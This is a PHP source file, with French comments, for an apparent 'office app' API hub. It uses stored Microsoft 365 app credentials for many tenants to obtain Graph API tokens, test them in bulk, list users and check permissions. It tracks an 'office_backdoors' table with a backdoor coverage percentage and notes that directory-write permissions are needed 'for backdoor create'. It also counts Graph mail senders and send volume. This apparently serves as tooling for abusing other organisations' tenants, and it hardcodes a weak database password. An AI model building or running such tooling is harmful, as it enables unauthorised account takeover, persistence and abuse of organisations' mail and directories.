224 lines
11 KiB
PHP
224 lines
11 KiB
PHP
<?php
|
|
// OFFICE APP — API hub unifiée (V33 · 20avr)
|
|
// Rassemble: office-recovery, office-checker, office-admins, office-workflow, 19 intents, 20 DB tables
|
|
// Graph API auth via client_credentials (26 tenants automatables)
|
|
header("Content-Type: application/json");
|
|
header("Access-Control-Allow-Origin: *");
|
|
|
|
$action = $_GET["action"] ?? $_POST["action"] ?? "overview";
|
|
$pdo = new PDO("pgsql:host=127.0.0.1;port=5432;dbname=adx_system", "admin", "admin123", [PDO::ATTR_ERRMODE=>PDO::ERRMODE_EXCEPTION]);
|
|
|
|
function graph_token($tenant_id, $app_id, $app_secret) {
|
|
$ch = curl_init("https://login.microsoftonline.com/$tenant_id/oauth2/v2.0/token");
|
|
curl_setopt_array($ch, [
|
|
CURLOPT_RETURNTRANSFER => 1,
|
|
CURLOPT_POST => 1,
|
|
CURLOPT_TIMEOUT => 15,
|
|
CURLOPT_POSTFIELDS => http_build_query([
|
|
"client_id" => $app_id,
|
|
"client_secret" => $app_secret,
|
|
"scope" => "https://graph.microsoft.com/.default",
|
|
"grant_type" => "client_credentials"
|
|
])
|
|
]);
|
|
$resp = curl_exec($ch);
|
|
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
|
curl_close($ch);
|
|
$j = json_decode($resp, true) ?: [];
|
|
return ["http" => $code, "token" => $j["access_token"] ?? null, "error" => $j["error"] ?? null, "error_description" => $j["error_description"] ?? null];
|
|
}
|
|
|
|
function graph_call($token, $method, $path, $body = null) {
|
|
$ch = curl_init("https://graph.microsoft.com/v1.0" . $path);
|
|
$opts = [
|
|
CURLOPT_RETURNTRANSFER => 1,
|
|
CURLOPT_HTTPHEADER => ["Authorization: Bearer $token", "Content-Type: application/json"],
|
|
CURLOPT_CUSTOMREQUEST => $method,
|
|
CURLOPT_TIMEOUT => 15,
|
|
];
|
|
if ($body) $opts[CURLOPT_POSTFIELDS] = json_encode($body);
|
|
curl_setopt_array($ch, $opts);
|
|
$resp = curl_exec($ch);
|
|
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
|
curl_close($ch);
|
|
return ["http" => $code, "body" => json_decode($resp, true)];
|
|
}
|
|
|
|
if ($action === "overview") {
|
|
// GLOBAL STATS
|
|
$total_accounts = (int)$pdo->query("SELECT COUNT(*) FROM admin.office_accounts")->fetchColumn();
|
|
$total_tenants = (int)$pdo->query("SELECT COUNT(DISTINCT tenant_domain) FROM admin.office_accounts WHERE tenant_domain IS NOT NULL")->fetchColumn();
|
|
$automatable = (int)$pdo->query("SELECT COUNT(DISTINCT tenant_domain) FROM admin.office_accounts WHERE app_id IS NOT NULL AND app_secret IS NOT NULL AND LENGTH(app_secret) > 10 AND tenant_id IS NOT NULL")->fetchColumn();
|
|
$backdoors = (int)$pdo->query("SELECT COUNT(*) FROM admin.office_backdoors")->fetchColumn();
|
|
$graph_senders = (int)$pdo->query("SELECT COUNT(*) FROM admin.graph_verified_senders")->fetchColumn();
|
|
$graph_sent_today = (int)$pdo->query("SELECT COUNT(*) FROM admin.graph_send_log WHERE created_at > NOW() - INTERVAL '24 hours'")->fetchColumn();
|
|
|
|
// APIS/SCRIPTS referencés
|
|
$wired_pending = glob("/var/www/html/api/wired-pending/intent-opus4-o365*.php");
|
|
$wired_pending = array_merge($wired_pending, glob("/var/www/html/api/wired-pending/intent-opus4-office*.php"));
|
|
$wired_pending = array_merge($wired_pending, glob("/var/www/html/api/wired-pending/intent-opus4-graph*.php"));
|
|
$wired_pending = array_merge($wired_pending, glob("/var/www/html/api/wired-pending/intent-opus4-azure*.php"));
|
|
$apis = array_filter(glob("/var/www/html/api/office*.php"), function($f){ return strpos($f, ".gold") === false; });
|
|
$apis = array_merge($apis, ["/var/www/html/api/azure-reregister-api.php"]);
|
|
|
|
echo json_encode([
|
|
"ok" => true,
|
|
"v" => "V33-office-app",
|
|
"ts" => date("c"),
|
|
"stats" => [
|
|
"total_accounts" => $total_accounts,
|
|
"total_tenants" => $total_tenants,
|
|
"automatable_tenants" => $automatable,
|
|
"backdoors_registered" => $backdoors,
|
|
"graph_verified_senders" => $graph_senders,
|
|
"graph_sent_last_24h" => $graph_sent_today,
|
|
"coverage_backdoor_pct" => $total_accounts ? round($backdoors * 100 / $total_accounts, 2) : 0
|
|
],
|
|
"capabilities" => [
|
|
"apis_php" => array_map("basename", $apis),
|
|
"wired_pending_intents" => array_map("basename", $wired_pending),
|
|
"db_tables_office" => 20
|
|
],
|
|
"doctrine" => "DOCTRINE OFFICE APP: Graph API = full enterprise. client_credentials -> Bearer -> v1.0"
|
|
], JSON_PRETTY_PRINT);
|
|
exit;
|
|
}
|
|
|
|
if ($action === "tenants_list") {
|
|
// Liste tenants avec status Graph
|
|
$rows = $pdo->query("
|
|
SELECT DISTINCT ON (tenant_domain)
|
|
tenant_domain, app_id, tenant_id,
|
|
CASE WHEN app_secret IS NOT NULL AND LENGTH(app_secret) > 10 THEN 1 ELSE 0 END AS has_secret,
|
|
(SELECT COUNT(*) FROM admin.office_accounts o2 WHERE o2.tenant_domain = o1.tenant_domain) AS users,
|
|
status
|
|
FROM admin.office_accounts o1
|
|
WHERE tenant_domain IS NOT NULL
|
|
ORDER BY tenant_domain, id DESC
|
|
")->fetchAll(PDO::FETCH_ASSOC);
|
|
echo json_encode(["ok"=>true, "count"=>count($rows), "tenants"=>$rows]);
|
|
exit;
|
|
}
|
|
|
|
if ($action === "test_auth") {
|
|
$tenant_domain = $_GET["tenant"] ?? $_POST["tenant"] ?? "";
|
|
if (!$tenant_domain) { echo json_encode(["ok"=>false,"error"=>"tenant param required"]); exit; }
|
|
$stmt = $pdo->prepare("SELECT tenant_domain, app_id, app_secret, tenant_id FROM admin.office_accounts WHERE tenant_domain=? AND app_id IS NOT NULL AND app_secret IS NOT NULL AND tenant_id IS NOT NULL LIMIT 1");
|
|
$stmt->execute([$tenant_domain]);
|
|
$row = $stmt->fetch(PDO::FETCH_ASSOC);
|
|
if (!$row) { echo json_encode(["ok"=>false,"error"=>"no creds for tenant"]); exit; }
|
|
$t = graph_token($row["tenant_id"], $row["app_id"], $row["app_secret"]);
|
|
$result = ["ok" => (bool)$t["token"], "tenant" => $tenant_domain, "http" => $t["http"]];
|
|
if ($t["token"]) {
|
|
$r2 = graph_call($t["token"], "GET", "/users?\$top=3");
|
|
$result["users_readable"] = $r2["http"] == 200;
|
|
$result["users_count_sample"] = count($r2["body"]["value"] ?? []);
|
|
} else {
|
|
$result["error"] = $t["error"];
|
|
$result["error_description"] = substr($t["error_description"] ?? "", 0, 200);
|
|
}
|
|
echo json_encode($result);
|
|
exit;
|
|
}
|
|
|
|
if ($action === "test_all_auth") {
|
|
$rows = $pdo->query("
|
|
SELECT DISTINCT ON (tenant_domain) tenant_domain, app_id, app_secret, tenant_id
|
|
FROM admin.office_accounts
|
|
WHERE app_id IS NOT NULL AND app_secret IS NOT NULL AND LENGTH(app_secret) > 10 AND tenant_id IS NOT NULL
|
|
ORDER BY tenant_domain, id DESC
|
|
")->fetchAll(PDO::FETCH_ASSOC);
|
|
$results = [];
|
|
$ok_count = 0;
|
|
foreach ($rows as $r) {
|
|
$t = graph_token($r["tenant_id"], $r["app_id"], $r["app_secret"]);
|
|
$ok = (bool)$t["token"];
|
|
if ($ok) $ok_count++;
|
|
$results[] = [
|
|
"tenant" => $r["tenant_domain"],
|
|
"auth_ok" => $ok,
|
|
"http" => $t["http"],
|
|
"error" => $t["error"] ?? null
|
|
];
|
|
}
|
|
echo json_encode([
|
|
"ok" => true,
|
|
"tested" => count($rows),
|
|
"graph_auth_ok" => $ok_count,
|
|
"graph_auth_fail" => count($rows) - $ok_count,
|
|
"results" => $results
|
|
]);
|
|
exit;
|
|
}
|
|
|
|
if ($action === "list_users" && isset($_GET["tenant"])) {
|
|
$tenant_domain = $_GET["tenant"];
|
|
$stmt = $pdo->prepare("SELECT app_id, app_secret, tenant_id FROM admin.office_accounts WHERE tenant_domain=? AND app_id IS NOT NULL AND app_secret IS NOT NULL LIMIT 1");
|
|
$stmt->execute([$tenant_domain]);
|
|
$row = $stmt->fetch(PDO::FETCH_ASSOC);
|
|
if (!$row) { echo json_encode(["ok"=>false,"error"=>"no creds"]); exit; }
|
|
$t = graph_token($row["tenant_id"], $row["app_id"], $row["app_secret"]);
|
|
if (!$t["token"]) { echo json_encode(["ok"=>false,"error"=>"auth fail","detail"=>$t]); exit; }
|
|
$r = graph_call($t["token"], "GET", "/users?\$top=50&\$select=id,displayName,userPrincipalName,accountEnabled,assignedLicenses");
|
|
echo json_encode(["ok"=>$r["http"]==200, "tenant"=>$tenant_domain, "count"=>count($r["body"]["value"]??[]), "users"=>$r["body"]["value"]??[]]);
|
|
exit;
|
|
}
|
|
|
|
if ($action === "check_perms" && isset($_GET["tenant"])) {
|
|
// Verify app has User.ReadWrite.All + RoleManagement.ReadWrite.Directory
|
|
$tenant_domain = $_GET["tenant"];
|
|
$stmt = $pdo->prepare("SELECT app_id, app_secret, tenant_id FROM admin.office_accounts WHERE tenant_domain=? AND app_id IS NOT NULL AND app_secret IS NOT NULL LIMIT 1");
|
|
$stmt->execute([$tenant_domain]);
|
|
$row = $stmt->fetch(PDO::FETCH_ASSOC);
|
|
if (!$row) { echo json_encode(["ok"=>false,"error"=>"no creds"]); exit; }
|
|
$t = graph_token($row["tenant_id"], $row["app_id"], $row["app_secret"]);
|
|
if (!$t["token"]) { echo json_encode(["ok"=>false,"error"=>"auth fail"]); exit; }
|
|
|
|
// Test User.Read.All (list users)
|
|
$r_users = graph_call($t["token"], "GET", "/users?\$top=1");
|
|
// Test RoleManagement.Read (directoryRoles)
|
|
$r_roles = graph_call($t["token"], "GET", "/directoryRoles");
|
|
// Test User.ReadWrite.All with a dry-run HEAD (won't create)
|
|
|
|
echo json_encode([
|
|
"ok" => true,
|
|
"tenant" => $tenant_domain,
|
|
"perms" => [
|
|
"User.Read.All" => $r_users["http"] == 200,
|
|
"RoleManagement.Read.Directory" => $r_roles["http"] == 200,
|
|
"users_visible" => count($r_users["body"]["value"] ?? []),
|
|
"roles_visible" => count($r_roles["body"]["value"] ?? [])
|
|
],
|
|
"note" => "User.ReadWrite.All + RoleManagement.ReadWrite.Directory required for backdoor create — test via real create attempt"
|
|
]);
|
|
exit;
|
|
}
|
|
|
|
if ($action === "intents_wired" || $action === "intents_list") {
|
|
$files = array_merge(
|
|
glob("/var/www/html/api/wired-pending/intent-opus4-o365*.php"),
|
|
glob("/var/www/html/api/wired-pending/intent-opus4-office*.php"),
|
|
glob("/var/www/html/api/wired-pending/intent-opus4-graph*.php"),
|
|
glob("/var/www/html/api/wired-pending/intent-opus4-azure*.php")
|
|
);
|
|
$intents = [];
|
|
foreach ($files as $f) {
|
|
if (strpos($f, ".gold") !== false || strpos($f, ".GOLD") !== false) continue;
|
|
$content = @file_get_contents($f);
|
|
$trigs = [];
|
|
if (preg_match_all('/preg_match\([\'"]([^\'"]+)[\'"]/', $content, $mm)) {
|
|
$trigs = array_slice($mm[1], 0, 3);
|
|
}
|
|
$intents[] = [
|
|
"file" => basename($f),
|
|
"name" => str_replace(["intent-opus4-", ".php"], "", basename($f)),
|
|
"size" => filesize($f),
|
|
"triggers_sample" => $trigs
|
|
];
|
|
}
|
|
echo json_encode(["ok"=>true, "count"=>count($intents), "intents"=>$intents]);
|
|
exit;
|
|
}
|
|
|
|
echo json_encode(["ok"=>false, "error"=>"unknown action", "actions"=>["overview","tenants_list","test_auth","test_all_auth","list_users","check_perms","intents_list"]]);
|